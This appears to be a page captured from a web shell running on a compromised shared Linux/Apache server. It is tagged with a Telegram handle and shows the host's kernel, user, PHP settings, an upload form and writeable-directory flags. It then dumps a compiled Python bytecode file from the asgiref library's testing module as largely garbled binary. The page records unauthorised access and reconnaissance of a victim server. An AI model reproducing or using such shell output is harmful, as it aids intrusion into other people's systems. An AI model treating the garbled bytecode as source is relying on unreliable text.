https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/asgiref/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/asgiref/__pycache__/testing.cpython-310.pyc
o

�6�a/�@s:ddlZddlZddlmZddlmZGdd�d�ZdS)�N�)�guarantee_single_callable)�timeoutc@sPeZdZdZdd�Zddd�Zddd	�Zd
d�Zdd
�Zddd�Z	ddd�Z
dS)�ApplicationCommunicatorz}
    Runs an ASGI application in a test mode, allowing sending of
    messages to it and retrieval of messages it sends.
    cCsFt|�|_||_t��|_t��|_t�|�||jj|jj	��|_
dS�N)r�application�scope�asyncio�Queue�input_queue�output_queue�
ensure_future�get�put�future)�selfrr�r�1/usr/lib/python3/dist-packages/asgiref/testing.py�__init__s



�z ApplicationCommunicator.__init__rc�s��zXt|�4IdH�#z
|jIdH|j��Wn
tjy"YnwWd�IdHn1IdHs3wYW|j��sX|j��z	|jIdHWdStjyWYdSwdS|j��sw|j��z|jIdHWwtjyvYwww)zV
        Waits for the application to stop itself and returns any exceptions.
        N)�
async_timeoutr�resultr	�CancelledError�done�cancel)rrrrr�waits6���(��

��
��zApplicationCommunicator.waitTcCs.|j��s|j��dS|r|j��dSdSr)rrrr)r�
exceptionsrrr�stop*s

�zApplicationCommunicator.stopcCs(z	|jdd�WdStyYdSw)NF)r)r�RuntimeError)rrrr�__del__1s
�zApplicationCommunicator.__del__c�s�|j�|�IdHdS)z;
        Sends a single message to the application
        N)rr)r�messagerrr�
send_input9s�z"ApplicationCommunicator.send_inputc�s��|j��r|j��z*t|�4IdH�|j��IdHWd�IdHWS1IdHs.wYWdStjyh}z&|j��rJ|j��|�|j��z	|jIdHW|�tj	ycY|�wd}~ww)zX
        Receives a single message from the application, with optional timeout.
        N)
rrrrrrr	�TimeoutErrorrr)rr�errr�receive_output@s*�

4�


�����z&ApplicationCommunicator.receive_output皙�����?�{�G�z�?c�sR�t��}t��||kr$|j��sdSt�|�IdHt��||ks
|j��S)zO
        Checks that there is no message to receive in the given time.
        FN)�time�	monotonicr�emptyr	�sleep)rr�interval�startrrr�receive_nothingWs�
�
z'ApplicationCommunicator.receive_nothingN)r)T)r$r%)�__name__�
__module__�__qualname__�__doc__rrrrr r#r,rrrrrs
	

r)r	r&�
compatibilityrrrrrrrr�<module>s


https://t.me/RX1948 - 2025